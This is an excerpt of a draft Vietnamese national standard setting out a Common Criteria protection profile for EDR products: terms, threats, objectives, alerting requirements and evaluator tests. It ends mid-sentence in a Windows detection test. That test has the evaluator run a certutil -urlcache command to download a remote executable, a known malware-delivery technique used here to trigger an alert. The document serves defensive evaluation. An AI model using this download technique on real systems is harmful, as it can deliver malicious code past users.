**TCVN** **T I Ê U C H U Ẩ N Q U Ố C G I A**

**TCVN xxxx:2023**

**Xuất bản lần 1**

**CÔNG NGHỆ THÔNG TIN - CÁC KỸ THUẬT AN TOÀN - HỒ SƠ BẢO VỆ CHO SẢN PHẨM PHÁT HIỆN VÀ PHẢN HỒI ĐIỂM CUỐI (EDR)**

***Information technology - Security techniques - Protection profile for Endpoint Detection and Response (EDR)***

**HÀ NỘI - 2023**

**Mục lục**

[1 Phạm vi áp dụng 7](#_Toc137476352)

[2 Tài liệu viện dẫn 7](#_Toc137476353)

[3 Thuật ngữ và định nghĩa 7](#_Toc137476354)

[4 Ký hiệu và chữ viết tắt 9](#_Toc137476355)

[5 Giới thiệu Hồ sơ bảo vệ 10](#_Toc137476356)

[6 Các yêu cầu áp dụng 12](#_Toc137476357)

[7 Mô tả các vấn đề an toàn 12](#_Toc137476358)

[8 Các mục tiêu an toàn 13](#_Toc137476359)

[9 Các yêu cầu an toàn 14](#_Toc137476360)

[10 Đặc điểm về tính nhất quán 33](#_Toc137476361)

[Phụ lục A Các SFR tùy chọn 37](#_Toc137476362)

[Phụ lục B SFR cơ sở được lựa chọn 38](#_Toc137476363)

[Phụ lục C SFR mục tiêu 39](#_Toc137476364)

[Phụ lục D Định nghĩa thành phần mở rộng 40](#_Toc137476365)

[Phụ lục E](#_Toc137476366) [Các yêu cầu đáp ứng hoàn toàn 45](#_Toc137476367)

[Thư mục tài liệu tham khảo 46](#_Toc137476368)

1. **Lời nói đầu**
2. TCVN xxxx:2023 được xây dựng dựa trên cơ sở tham khảo “Protection Profile module for Endpoint Detection and Response (EDR)” của Hiệp hội đảm bảo thông tin quốc gia của Hoa Kỳ (NIAP), phiên bản 1.0, ngày 23/10/2020.
3. TCVN xxxx:2023 do Cục An toàn thông tin biên soạn, Bộ Thông tin và Truyền thông đề nghị, Tổng cục Tiêu chuẩn Đo lường Chất lượng thẩm định, Bộ Khoa học và Công nghệ công bố.

**Công nghệ thông tin - Các kỹ thuật an toàn - Hồ sơ bảo vệ cho sản phẩm phát hiện và phản hồi điểm cuối (EDR)**

T I Ê U C H U Ẩ N Q U Ố C G I A TCVN xxxx:2023

*Information Technology - Security techniques - Protection profile for Endpoint Detection and Response (EDR)*

## 1 Phạm vi áp dụng

Tiêu chuẩn này quy định hồ sơ bảo vệ sản phẩm phát hiện và phản hồi điểm cuối (EDR), thể hiện các yêu cầu chức năng an toàn (SFR) và yêu cầu đảm bảo an toàn (SAR) đối với chức năng bảo vệ, phù hợp với bộ tiêu chuẩn quốc gia TCVN 8709-1:2011 (ISO/IEC 15408-1:2009), TCVN 8709-2:2011 (ISO/IEC 15408-2:2008) và TCVN 8709-3:2011 (ISO/IEC 15408-3:2008).

## 2 Tài liệu viện dẫn

Các tài liệu viện dẫn sau đây là cần thiết để áp dụng tiêu chuẩn này. Đối với tài liệu viện dẫn ghi năm công bố thì áp dụng phiên bản được nêu. Đối với tài liệu viện dẫn không ghi năm công bố thì áp dụng phiên bản mới nhất (bao gồm cả phiên bản sửa đổi, bổ sung).

TCVN 8709-1:2011 (ISO/IEC 15408-1:2009), “Công nghệ thông tin - Các kỹ thuật an toàn - Các tiêu chí đánh giá an toàn CNTT - Phần 1: Giới thiệu và mô hình tổng quát”.

TCVN 8709-2:2011 (ISO/IEC 15408-2:2008), “Công nghệ thông tin - Các kỹ thuật an toàn - Các tiêu chí đánh giá an toàn CNTT - Phần 2: Các thành phần chức năng an toàn”.

TCVN 8709-3:2011 (ISO/IEC 15408-3:2008), “Công nghệ thông tin - Các kỹ thuật an toàn - Các tiêu chí đánh giá an toàn CNTT - Phần 3: Các thành phần đảm bảo an toàn”.

## 3 Thuật ngữ và định nghĩa

Tiêu chuẩn này sử dụng các thuật ngữ và định nghĩa trong TCVN 8709-1:2011 và các thuật ngữ sau:

**3.1 Hồ sơ bảo vệ cơ sở** (Base Protection Profile)

Hồ sơ bảo vệ được sử dụng làm cơ sở để xây dựng cấu hình PP.

**3.2 Tiêu chí chung** (Common Criteria)

Tiêu chí chung về đánh giá an toàn công nghệ thông tin (Tiêu chuẩn quốc tế ISO/IEC 15408).

**3.3 Phương pháp đánh giá chung** (Common Evaluation Methodology)

Phương pháp đánh giá chung để đánh giá an toàn công nghệ thông tin.

**3.4 Môi trường hoạt động** (Operational Environment)

Phần cứng và phần mềm nằm ngoài ranh giới TOE hỗ trợ TOE chức năng và chính sách bảo đảm an toàn.

**3.5 Hồ sơ bảo vệ** (Protection Profile)

Một bộ yêu cầu an toàn độc lập với việc thực hiện đối với một danh mục sản phẩm.

**3.6 Cấu hình hồ sơ bảo vệ** (Protection Profile Configuration)

Một bộ yêu cầu an toàn toàn diện cho một loại sản phẩm bao gồm ít nhất một PP cơ sở và ít nhất một PP-Module.

**3.7 PP- Module** (Protection Profile Module)

Một phát biểu độc lập về nhu cầu đảm bảo an toàn cho một loại TOE bổ sung cho một hoặc nhiều Hồ sơ bảo vệ cơ sở.

**3.8 Yêu cầu đảm bảo an toàn** (Security Assurance Requirement)

Yêu cầu để đảm bảo an toàn của TOE.

**3.9 Yêu cầu chức năng an toàn** (Security Functional Requirement)

Yêu cầu chức năng đảm bảo an toàn của TOE.

**3.10 Mục tiêu an toàn** (Security Target)

Một tập hợp các yêu cầu đảm bảo an toàn phụ thuộc vào việc triển khai cho một sản phẩm cụ thể.

**3.11 Chức năng an toàn của TOE** (TOE Security Functionality)

Chức năng an toàn của sản phẩm đang được đánh giá.

**3.12 Mô tả cấu hình TOE** (TOE Summary Specification)

Mô tả về cách TOE đáp ứng SFRs trong ST.

**3.13 Đối tượng đánh giá** (Target of Evaluation)

Sản phẩm đang được đánh giá.

**3.14 Cảnh báo** (Alert)

Sự kiện hoặc thông báo trên giao diện quản trị làm nổi bật hoạt động có khả năng trái phép.

**3.15 Điểm cuối** (Endpoint)

Thiết bị công nghệ thông tin chạy hệ điều hành đa năng, hệ điều hành thiết bị di động hoặc hệ điều hành thiết bị mạng. Điểm cuối có thể bao gồm máy tính để bàn, máy chủ và thiết bị di động.

**3.16 Phát hiện và phản hồi điểm cuối** (Endpoint Detection and Response)

Phần mềm máy chủ phân tích dữ liệu máy chủ EDR được thu thập để phát hiện, điều tra, khắc phục các hoạt động trái phép trên các điểm cuối. Các thuật ngữ TOE và EDR có thể hoán đổi cho nhau trong tài liệu này.

**3.17 Hệ thống phát hiện và phản hồi điểm cuối** (Endpoint Detection and Response System)

Máy chủ EDR và các tác nhân máy chủ có hoạt động đồng thời.

**3.18 Đăng ký** (Enroll)

Hành động đăng ký điểm cuối an toàn với EDR.

**3.19 Tác nhân máy chủ** (Host Agent)

Phần mềm bổ sung thực thi trên các điểm cuối để thu thập dữ liệu về điểm cuối và thực hiện các lệnh được gửi đến điểm cuối từ máy chủ hoặc dịch vụ Quản lý Bảo mật Doanh nghiệp (ESM). Một lệnh mẫu được gửi đến điểm cuối có thể để thực thi chính sách từ ESM, nhằm thu thập một số tệp hoặc chạy lệnh hệ điều hành.

**3.20 Giao diện quản lý** (Management Dashboard)

Giao diện quản lý cho cấu hình chính sách EDR, trực quan hóa thu thập dữ liệu cảnh báo điểm cuối và ban hành lệnh khắc phục.

**3.21 Hoạt động có khả năng trái phép** (Potentially Unauthorized Activity)

Điều này đề cập đến tập hợp các hành động được phát hiện bởi TOE, các mục cụ thể được phát hiện có thể là duy nhất đối với TOE.

**3.22 Chuyên gia phân tích SOC** (SOC Analyst)

Chuyên gia phân tích Trung tâm điều hành an toàn thông tin (SOC) thường là người chịu trách nhiệm xem xét các hoạt động có khả năng trái phép thông qua các cảnh báo để thực hiện khắc phục và xử lý.

## 4 Ký hiệu và chữ viết tắt

|  |  |  |
| --- | --- | --- |
| EDR | Endpoint Detection and Response | Phát hiện và phản hồi điểm cuối |
| AV | Antivirus | Phần mềm diệt vi rút |
| EAL | Evaluation Assurance Level | Mức bảo đảm đánh giá |
| GUI | Graphical User Interface | Giao diện người dùng dạng đồ họa |
| IP | Internet Protocol | Giao thức Internet |
| API | Application Programming Interface | Giao diện lập trình ứng dụng |
| OSP | Organizational Security Policy | Chính sách an toàn của tổ chức |
| PC | Personal Computer | Máy tính cá nhân |
| PP | Protection Profile | Hồ sơ bảo vệ |
| SAR | Security Assurance Requirement | Yêu cầu đảm bảo an toàn |
| SF | Security Function | Chức năng an toàn |
| SFR | Security Functional Requirement | Yêu cầu chức năng an toàn |
| ST | Security Target | Mục tiêu an toàn |
| TOE | Target of Evaluation | Đối tượng đánh giá |
| TSF | TOE Security Functions | Các chức năng an toàn của TOE |
| TSS | TOE Summary Specification | Mô tả cấu hình TOE |
| TSP | TOE Security Policy | Chính sách an toàn TOE |
| VPN | Virtual Private Network | Mạng riêng ảo |

## 5 Giới thiệu Hồ sơ bảo vệ

**5.1 Tổng quan**

Phạm vi của Hồ sơ bảo vệ này (PP-Module) mô tả chức năng bảo mật của hệ thống Phát hiện và Phản hồi Điểm cuối (EDR) áp dụng theo [CC] và xác định các yêu cầu chức năng, đảm bảo cho các sản phẩm này. Hồ sơ bảo vệ này được thiết kế để sử dụng với Tiêu chuẩn quốc gia sau:

- Tiêu chuẩn quốc gia TCVN 13468:2022 Công nghệ thông tin – Các kỹ thuật an toàn – Hồ sơ bảo vệ cho phần mềm ứng dụng.

Hồ sơ bảo vệ này được chấp nhận là hợp lệ vì EDR được triển khai dưới dạng ứng dụng phần mềm trên hệ điều hành đa năng.

5.2 Mục tiêu đánh giá tuân thủ

[EDR là phần mềm](http://254EE0606F2C05722FBE653EE250D260BFD39CCD/file%3A///C%3A%5Chome%5Crunner%5Cwork%5Cesm-edr%5Cesm-edr%5Ccommoncriteria.github.io%5Cpp%5Cesm-edr%5Cesm-edr.html) giám sát hoạt động thu thập từ dữ liệu máy chủ điểm cuối để phát hiện hoạt động có khả năng trái phép trên các điểm cuối, cho phép phát hiện mối đe dọa và có hành động ứng phó sự cố khác để khắc phục các hành vi độc hại. Những yêu cầu này bao gồm các đặc điểm và hành vi đảm bảo an toàn cơ bản cho các sản phẩm [EDR;](http://254EE0606F2C05722FBE653EE250D260BFD39CCD/file%3A///C%3A%5Chome%5Crunner%5Cwork%5Cesm-edr%5Cesm-edr%5Ccommoncriteria.github.io%5Cpp%5Cesm-edr%5Cesm-edr.html)  nền tảng [mà EDR chạy](http://254EE0606F2C05722FBE653EE250D260BFD39CCD/file%3A///C%3A%5Chome%5Crunner%5Cwork%5Cesm-edr%5Cesm-edr%5Ccommoncriteria.github.io%5Cpp%5Cesm-edr%5Cesm-edr.html) có thể là Hệ điều hành vật lý hoặc ảo hóa, tại chỗ hoặc trong sử dụng điện toán đám mây. [Các sản phẩm EDR](http://254EE0606F2C05722FBE653EE250D260BFD39CCD/file%3A///C%3A%5Chome%5Crunner%5Cwork%5Cesm-edr%5Cesm-edr%5Ccommoncriteria.github.io%5Cpp%5Cesm-edr%5Cesm-edr.html) dựa vào phần mềm bổ sung chạy trên điểm cuối, được gọi là Tác nhân máy chủ, để truyền đạt các lệnh hoặc thay đổi chính sách và nhận dữ liệu máy chủ điểm cuối. Các yêu cầu an toàn cho Tác nhân máy chủ được giải quyết trong PP-Module [Tác nhân máy chủ] riêng biệt. Đánh giá hệ thống của EDR sẽ yêu cầu đánh giá các thành phần hệ thống khác nhau bao gồm EDR và [Tác nhân máy chủ]. Mỗi đánh giá phải đáp ứng các yêu cầu trong cả EDR và HA ngoài Hồ sơ bảo vệ cho phần mềm ứng dụng cơ sở. Đánh giá hệ thống EDR cần yêu cầu đánh giá các thành phần hệ thống khác nhau bao gồm một EDR và ít nhất một Tác nhân máy chủ. Do đó, đánh giá phải yêu cầu sự phù hợp với cấu hình PP bao gồm PP-Module để phát hiện và phản hồi điểm cuối (EDR) và PP-Module cho tác nhân máy chủ. Có hai loại kiến trúc chính được giải quyết bởi các yêu cầu trong PP-Module này như hình minh hoạ dưới đây:

• Các điểm cuối kết nối thông qua Internet với EDR được tổ chức bởi đơn vị cung cấp dịch vụ đám mây (Phần mềm dưới dạng Dịch vụ).

• Các điểm cuối giao tiếp với EDR tại chỗ trong mô hình mạng trung tâm.



**Hình 1.** Kiến [trúc EDR](http://254EE0606F2C05722FBE653EE250D260BFD39CCD/file%3A///C%3A%5Chome%5Crunner%5Cwork%5Cesm-edr%5Cesm-edr%5Ccommoncriteria.github.io%5Cpp%5Cesm-edr%5Cesm-edr.html)  chính

**5.2.1 Phạm vi TOE**

Phạm vi TOE cho EDR bao gồm tất cả các phần mềm từ đơn vị cung cấp TOE đại diện cho phía quản lý máy chủ hoặc doanh nghiệp quản lý hệ thống EDR. Trong đa số trường hợp (nhưng không phải tất cả các trường hợp) là phần mềm chạy đằng sau ứng dụng web hoặc giao diện quản trị, và có thể với các dịch vụ phần mềm khác đang chạy để gửi và nhận dữ liệu với Tác nhân máy chủ. EDR cũng có thể sử dụng cơ sở dữ liệu để lưu trữ dữ liệu được thu thập và phân tích. Bản thân bất kỳ phần mềm cơ sở dữ liệu nào nằm ngoài phạm vi của TOE, cũng như bất kỳ phần mềm máy chủ web nào được sử dụng để phục vụ ứng dụng web hoặc giao diện quản trị và hệ điều hành hoặc nền tảng đám mây cơ bản. Hình vẽ mô tả dưới đây cho thấy EDR (phải) giao tiếp với Tác nhân máy chủ (trái) qua một mạng không đáng tin cậy.

Hình 2. Các giao tiếp giữa EDR và Máy chủ trung gian

5.2.2 Nền tảng TOE (Đối tượng đánh giá - Target of Evaluation)

Nền tảng TOE bao gồm nền tảng hệ điều hành hoặc sử dụng nền tảng điện toàn đám mây mà phần mềm EDR thực thi, nằm ngoài phạm vi đánh giá. Tuy nhiên, tính bảo mật của EDR phụ thuộc vào chính bản thân sản phẩm.

Bất kỳ thông tin kết nối nào có liên quan các tệp từ xa đáng tin cậy hoặc dịch vụ thông tin về mối đe dọa đều có liên quan đến an toàn hệ thống EDR tổng thể nhưng có thể nằm ngoài phạm vi đánh giá.

5.3 Trường hợp áp dụng

Các yêu cầu trong tiêu chuẩn này được thiết kế để giải quyết vấn đề an toàn cho các trường hợp sử dụng được nêu dưới đây. Chức năng của EDR có thể được mở rộng bởi các tiện ích bổ sung, nguồn cung cấp dữ liệu về thông tin mối đe dọa hoặc các chức năng được công bố khác. Được coi là nằm ngoài phạm vi của tiêu chuẩn này.

**[TRƯỜNG HỢP SỬ DỤNG 1] Phát hiện hoạt động có khả năng trái phép**

Việc phát hiện hoạt động, phần mềm hoặc người dùng có khả năng hoạt động trái phép được phát hiện bằng cách thu thập dữ liệu từ điểm cuối đến máy chủ EDR trung tâm, nơi dữ liệu được phân tích.

**[TRƯỜNG HỢP SỬ DỤNG 2] Khắc phục hoạt động độc hại**

Khả năng bắt đầu các lệnh khắc phục để tập trung xử lý hoạt động độc hại được phát hiện là một trường hợp sử dụng chính của EDR.

**[TRƯỜNG HỢP SỬ DỤNG 3] Mở rộng**

Khả năng duyệt, truy vấn và xuất dữ liệu điểm cuối dựa trên máy chủ tổng hợp một cách hiệu quả cho phép chuyên gia phân tích SOC làm rõ các tình huống sau xử lý.

6 Các yêu cầu áp dụng

Tiêu chuẩn này kế thừa định dạng chính xác theo yêu cầu từ PP cơ sở được chỉ định, như được định nghĩa trong CC và CEM để đảm bảo tính chính xác, các SFR bắt buộc và các SFR tùy chọn.

## 7 Mô tả các vấn đề an toàn

Vấn đề an toàn được mô tả là các mối đe dọa mà EDR dự kiến sẽ giải quyết, giả định về OE và bất kỳ chính sách đảm bảo an toàn tổng hợp nào mà EDR dự kiến sẽ thực thi. Có thể mở rộng tới bất kỳ mối đe dọa, giả định và chính sách đảm bảo an toàn tập trung nào được xác định bởi PP cơ sở.

**7.1 Các mối đe dọa**

Đối tượng tấn công là người dùng đặc quyền hợp pháp có quyền truy cập để thay đổi cấu hình khả năng đảm bảo an toàn của EDR hoặc không phải là người dùng quản trị hợp pháp cố gắng truy cập mà không có sự cho phép thích hợp. Đối tượng tấn công có thể thực hiện ẩn các hoạt động độc hại khỏi những người dùng quản trị khác.

(T. MISCONFIGURATION)

**7.1.2 Tái sử dụng thông tin xác thực** (T.CREDENTIAL\_REUSE )

Đối tượng tấn công được đặt trên một kênh liên lạc hoặc nơi khác trên cơ sở hạ tầng mạng. Đối tượng tấn công có thể đoán hoặc thu thập thông tin đăng nhập hợp pháp từ EDR, điểm cuối hoặc hoạt động mạng không an toàn.

**7.2 Giả định**

Những giả định này được đưa ra trên môi trường hoạt động để có thể đảm bảo rằng chức năng an toàn của TOE có thể đáp ứng theo yêu cầu chỉ định trong PP-Module. Nếu TOE được đặt trong môi trường hoạt động không đáp ứng các giả định này, TOE có thể mất khả năng cung cấp tất cả các chức năng an toàn được thiết kế.

**KẾT NỐI** (A.CONNECTIVITY)

EDR dựa vào kết nối mạng để thực hiện các hoạt động quản trị chủ động. OE phải cung cấp kết nối mạng đáng tin cậy để EDR hoạt động. EDR phải xử lý hiệu quả các tình huống bất thường khi kết nối không khả dụng hoặc không đáng tin cậy.

**7.3 Chính sách tổ chức đảm bảo an toàn**

PP-Module này xác định không có chính sách tổ chức đảm bảo an toàn bổ sung nào ngoài các chính sách được xác định trong Base-PP.

## 8 Các mục tiêu an toàn

**8.1 Đích an toàn cho TOE**

**8.1.1 Trách nhiệm giải trình** (O.ACCOUNTABILITY )

TOE phải cung cấp các cơ sở ghi nhật ký ghi lại các hoạt động quản trị được thực hiện bởi quản trị viên bằng cách định danh và xác thực.

**Xác định bởi:** FAU\_GEN.1/EDR, FIA\_AUT\_EXT.1

**8.1.2 Quản lý EDR** (.EDR\_MANAGEMENT)

TOE phải đảm bảo sự thuận lợi đối với hoạt động quản trị được cấp quyền của doanh nghiệp, cung cấp các giao diện nhất quán và được hỗ trợ cho cấu hình, ý định và hoạt động liên quan đến an toàn của doanh nghiệp.

**Xác định bởi:** FAU\_ALT\_EXT.1, FAU\_COL\_EXT.1, FIA\_AUT\_EXT.1, FIA\_PWD\_EXT.1, FMT\_SMF.1/ENDPOINT, FMT\_SMF.1/HOST, FMT\_SMR.1, FMT\_SRF\_EXT.1, FMT\_TRM\_EXT.1

**8.1.3 An toàn trung chuyển** (O.PROTECTED\_TRANSIT)

Để giải quyết cả các mối đe dọa tấn công mạng thụ động (nghe lén) và hoạt động sửa đổi gói tin, TOE phù hợp phải sử dụng kênh đáng tin cậy để bảo vệ tất cả các thông tin liên lạc. Dữ liệu nhạy cảm bao gồm khóa mật mã, mật khẩu và bất kỳ dữ liệu nào khác dành riêng cho ứng dụng không bị lộ bên ngoài ứng dụng hoặc cho người dùng chưa được xác thực.

**Xác định bởi:** FCS\_DTLSS\_EXT.1 (từ gói TLS), FCS\_DTLSC\_EXT.1 (từ gói TLS), FCS\_HTTPS\_EXT.1 (từ Base-PP), FCS\_TLSC\_EXT.1 (từ TLS Package), FCS\_TLSC\_EXT.2 (từ gói TLS), FCS\_TLSS\_EXT.1 (từ gói TLS ), FCS\_TLSS\_EXT.2 (từ gói TLS ), FPT\_ITT.1, FTP\_TRP.1

**8.2 Mục tiêu an toàn cho môi trường hoạt động**

Môi trường hoạt động của TOE thực hiện các biện pháp kỹ thuật và thủ tục để hỗ trợ TOE cung cấp chính xác chức năng an toàn của mình (được xác định bởi các mục tiêu an toàn cho TOE). Các mục tiêu an toàn cho Môi trường hoạt động bao gồm một tập hợp các yếu tố mô tả các mục tiêu mà Môi trường hoạt động nên đạt được. Phần này xác định các mục tiêu an toàn sẽ được giải quyết bởi biện pháp kỹ thuật hoặc bằng các phương pháp phi kỹ thuật hoặc thủ tục. Các giả định phủ nhận trong Phần 3 được kết hợp như các mục tiêu an toàn cho môi trường. Các mục tiêu an toàn sau đây cho Môi trường hoạt động hỗ trợ EDR cung cấp chính xác chức năng an toàn của nó. Các mục tiêu này đồng bộ với các giả định về môi trường.

**Trung chuyển tin cậy** (OE.RELIABLE\_TRANSIT)

Kết nối truyền dữ liệu giữa EDR và các Tác nhân máy chủ (có dây hoặc không dây) sử dụng kết nối thích hợp, đáng tin cậy.

**8.3 Phân tách mục tiêu an toàn**

Phần này mô tả cách các giả định, mối đe dọa và chính sách đảm bảo an toàn của tổ chức ánh xạ đến các mục tiêu an toàn.

## 9 Các yêu cầu an toàn

|  |  |  |
| --- | --- | --- |
| **Mối nguy, Giả định** | **Đối tượng an toàn** | **Đặc điểm về tính nhất quán** |
| [T.MISCONFIGURATIO](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.MISCONFIGURATION)N(Cấu hình sai) | [O.EDR\_MANAGEMENT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.EDR_MANAGEMENT)(Quản lý EDR) | Mối đe dọa [T.MISCONFIGURATION](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.MISCONFIGURATION) được kiểm soát bằng [O.EDR\_MANAGEMENT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.EDR_MANAGEMENT) vì đối tượng này dựa trên khả năng quản lý được ủy quyền đối với các hoạt động quản trị. |
| [O.ACCOUNTABILITY](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.ACCOUNTABILITY)(Trách nhiệm giải trình) | Mối đe dọa [T.MISCONFIGURATION](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.MISCONFIGURATION) được kiểm soát bằng [O.ACCOUNTABILITY](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.ACCOUNTABILITY) vì đối tượng này dựa trên danh tính, xác thực và kiểm tra các hoạt động quản trị. |
| [T.CREDENTIAL\_REUSE](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.CREDENTIAL_REUSE)(Tái sử dụng thông tin xác thực) | [O.PROTECTED\_TRANSIT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.PROTECTED_TRANSIT)(Bảo vệ truyền tải) | Mối đe dọa [T.CREDENTIAL\_REUSE](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.CREDENTIAL_REUSE) được kiểm soát bằng [O.PROTECTED\_TRANSIT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#O.PROTECTED_TRANSIT) vì đối tượng này dựa trên tính an toàn của dữ liệu được truyền. |
| O.PROTECTED\_STORAGE | Mối đe dọa [T.CREDENTIAL\_REUSE](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#T.CREDENTIAL_REUSE) được kiểm soát bằng O.PROTECTED\_STORAGE vì đối tượng này dựa trên tính an toàn của thông tin đăng nhập được lưu trữ cục bộ. |
| [A.CONNECTIVITY](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#A.CONNECTIVITY)(Kết nối) | [OE.RELIABLE\_TRANSIT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#OE.RELIABLE_TRANSIT)(Truyền tải tin cậy) | Mục tiêu [OE.RELIABLE\_TRANSIT](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#OE.RELIABLE_TRANSIT) được thực hiện thông qua [A.CONNECTIVITY](https://www.niap-ccevs.org/MMO/PP/430/esm-edr-release.htm#A.CONNECTIVITY). |

**9.1 Quy ước**

Phần này mô tả các yêu cầu an toàn phải được thực hiện bởi sản phẩm đang được đánh giá. Những yêu cầu đó bao gồm các thành phần chức năng từ Phần 2 và các thành phần đảm bảo từ Phần 3 của [CC]. Các quy ước sau đây được sử dụng để hoàn thành các hoạt động:

• Chỉ định: được trình bày dưới dạng *văn bản* *in nghiêng*;

• Tinh chỉnh: được trình bày đằng sau từ “**Tinh chỉnh**” và được bôi đậm;

• Lựa chọn: được trình bày dưới dạng văn bản gạch dưới;

• Chỉ định trong một lựa chọn: được trình bày dưới dạng *văn bản in nghiêng và gạch chân*;

• Lặp lại: Chỉ định bằng cách thêm các SFR hoặc thành phần tên với một dấu gạch chéo và chỉ báo duy nhất, ví dụ “/EXAMPLE1”.

9.2 Hướng dẫn yêu cầu chức năng an toàn của Hồ sơ bảo vệ cho phần mềm ứng dụng

Trong cấu hình PP bao gồm Hồ sơ bảo vệ cho phần mềm ứng dụng, TOE dự kiến phải dựa vào một số chức năng an toàn được thực hiện bởi toàn bộ ứng dụng và được đánh giá dựa trên Hồ sơ bảo vệ cơ sở. Các SFRs được liệt kê trong phần này được định nghĩa trong PP cơ sở và có liên quan đến hoạt động an toàn của EDR. Phần này mô tả bất kỳ sửa đổi nào mà Đánh giá viên phải thực hiện đối với SFR của PP cơ sở để đáp ứng các chức năng cần thiết của EDR.

9.2.1 Sửa đổi SFRs

PP-Module không sửa đổi bất kỳ SFRs nào được xác định bởi PP áp dụng.

9.3 Yêu cầu chức năng an toàn TOE

Phần sau đây mô tả SFRs phải đáp ứng được bởi bất kỳ TOE nào tuyên bố phù hợp với PP-Module này. Các SFR phải được yêu cầu bất kể cấu hình PP nào được sử dụng để xác định TOE.

**9.3.1 FAU: Kiểm toán an toàn** (FAU)

**9.3.1.1 FAU\_ALT\_EXT.1 Các cảnh báo máy chủ**

**FAU\_ALT\_EXT.1.1**

EDR phải cảnh báo người dùng được ủy quyền trên hệ thống quản trị trong trường hợp ghi nhận bất kỳ hoạt động nào sau đây:

a. Thay đổi trạng thái đăng ký máy chủ trung gian;

b. Phát hiện hoạt động có khả năng trái phép trên các điểm cuối đã đăng ký.

**Lưu ý áp dụng**: Mục đích của yêu cầu này là xác định khả năng cảnh báo nhóm quản trị tối thiểu mà EDR phải có khả năng hiển thị cho người dùng được ủy quyền. Ví dụ về việc phát hiện hoạt động có khả năng trái phép trên các điểm cuối đã đăng ký bao gồm; hoạt động bất thường, leo thang đặc quyền và dịch chuyển thành phần.

**FAU\_ALT\_EXT.1.2**

EDR sẽ cung cấp một thông tin trực quan về các cảnh báo được phát hiện về các sự cố có khả năng trái phép và sẽ bao gồm:

a. Mức độ nghiêm trọng của sự cố ban đầu và [**lựa chọn**: đánh giá, phân loại, điểm số, xếp hạng]

b. Trình tự thời gian của sự cố.

**Lưu ý áp dụng:** Mục đích của yêu cầu này là chỉ rõ tập hợp tối thiểu các sự cố được trực quan hóa mà EDR phải có khả năng thể hiện cho người dùng được cấp quyền. Trực quan hóa được định nghĩa rộng rãi là việc hiển thị dữ liệu sự cố cho người dùng được cấp quyền trên giao diện quản trị. Hình ảnh trực quan không bắt buộc phải có khả năng tương tác.

**FAU\_ALT\_EXT.1.3**

EDR sẽ cung cấp khả năng xuất dữ liệu cho các cảnh báo được chọn với định dạng dựa trên tiêu chuẩn được chỉ định là được lựa chọn:

- Biểu diễn thông tin về mối đe dọa có cấu trúc - Structured Threat Information eXpression (STIX),

- Biểu thức điện tử quan sát trên không gian mạng - Cyber Observable eXpression (CybOX),

- Định dạng mô tả trao đổi đối tượng sự cố - Incident Object Description Exchange Format (IODEF),

- Định dạng sự kiện chung - Common Event Format (CEF),

- Định dạng mở rộng nhật ký sự kiện - Log Event Extended Format (LEEF)

**Lưu ý áp dụng:** Mục đích của yêu cầu này là chỉ định lựa chọn các định dạng dựa trên tiêu chuẩn mà EDR phải cung cấp để xuất các cảnh báo đã chọn, ít nhất một định dạng phải được chọn.

**Hoạt động đánh giá:**

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải kiểm tra TSS để đảm bảo rằng TSS mô tả cách các cảnh báo về những thay đổi trạng thái đăng ký máy chủ trung gian và các hoạt động có khả năng trái phép trên các điểm cuối đã đăng ký được phát hiện và hiển thị. Đánh giá viên phải kiểm tra TSS để đảm bảo TSS chứa danh sách các loại hoạt động trái phép được EDR phân loại hoặc dán nhãn khi bị phát hiện.**Đánh giá viên phải kiểm tra TSS để xác định TSS mô tả cách hiển thị trực quan hóa cảnh báo và nội dung nào được sử dụng.**Đánh giá viên phải kiểm tra TSS để xác định TSS mô tả những định dạng nào được hỗ trợ.* |
| Hướng dẫn | *Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định TSS chứa tài liệu về việc đăng ký và hủy kiểm soát máy chủ trung gian từ EDR.**Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định danh sách các loại hoạt động trái phép được EDR phân loại hoặc gắn nhãn khi phát hiện.**Đánh giá viên phải đảm bảo hướng dẫn bao gồm bất kỳ thông tin cấu hình cần thiết nào để hiển thị cảnh báo liên quan đến những thay đổi trong trạng thái đăng ký Host và các hoạt động có khả năng trái phép.**Đánh giá viên phải xem xét hướng dẫn hoạt động để xác định TSS chứa tài liệu về việc sử dụng giao diện quản trị để trực quan hóa và xem cảnh báo.**Đánh giá viên phải xem xét hướng dẫn hợp lý để xác định TSS chứa tài liệu về các sản phẩm được hỗ trợ để xuất cảnh báo ở các định dạng dựa trên tiêu chuẩn.* |
| Đánh giá | *Đánh giá viên thực hiện các bài kiểm tra sau:**Đánh giá viên phải tuân theo hướng dẫn để hủy kiểm tra Tác nhân máy chủ từ EDR và xác minh rằng hành động không được cấp phép đã được ghi lại trong nhật ký hoạt động có thể kiểm toán và được đánh dấu thời gian.**Đánh giá viên phải được hướng dẫn đăng ký đối tượng máy chủ vào EDR và xác minh rằng hành động ghi danh được ghi lại trong nhật ký hoạt động có thể kiểm toán và được đánh dấu thời gian.****Đối với Windows****, Đánh giá viên phải kiểm tra khả năng phát hiện hoạt động bất thường của EDR bằng cách thực hiện các bài kiểm tra phụ dựa trên nền tảng của hệ thống Tác nhân máy chủ đã đăng ký, xác minh cho từng cảnh báo tương ứng được tạo trong giao diện quản trị:****Thử nghiệm 1****: Đánh giá viên phải mở dấu nhắc lệnh Windows với tư cách là người dùng và chạy lệnh cmd /c certutil - urlcache - split - f <remote tệp tin> <download directory>, trong đó tệp từ xa là đường dẫn tệp hợp lệ đến tệp thực thi có thể truy cập, được lưu trữ từ xa và thư mục tải xuống là một 